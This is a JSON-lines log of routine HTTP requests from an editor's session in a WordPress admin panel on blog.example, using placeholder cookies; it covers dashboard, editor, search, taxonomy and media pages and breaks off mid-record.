{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,site-health,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=1&_ajax_nonce=874d028d1a&1794203151554", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/thickbox/loadingAnimation.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=no&_ajax_nonce=874d028d1a&1794203151641", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 60", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": "_wpnonce=52dc4bc08a&timezone=UTC&action=get-community-events"}
{"method": "GET", "target": "/wp-admin/index.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=dashboard-widgets&widget=dashboard_primary&pagenow=dashboard", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/index.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/update-core.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/update-core.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 126", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,moxiejs,plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,editor-buttons,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,&load%5Bchunk_1%5D=wp-patterns,wp-media-utils,wp-editor,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content&load%5Bchunk_2%5D=,wp-edit-blocks,wp-commands,wp-edit-post,wp-block-directory,wp-format-library,admin-menu,dashboard,list-tables,edit,revisions,me&load%5Bchunk_3%5D=dia,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 118", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:45:57.030Z\"}}}"}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=wp-polyfill&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=6&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?context=edit&per_page=100&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/wp_pattern_category?context=view&per_page=100&_fields=id%2Cname%2Cdescription%2Cslug&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_status=publish&post_type=post", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203157"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=category", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203158"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203159"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; 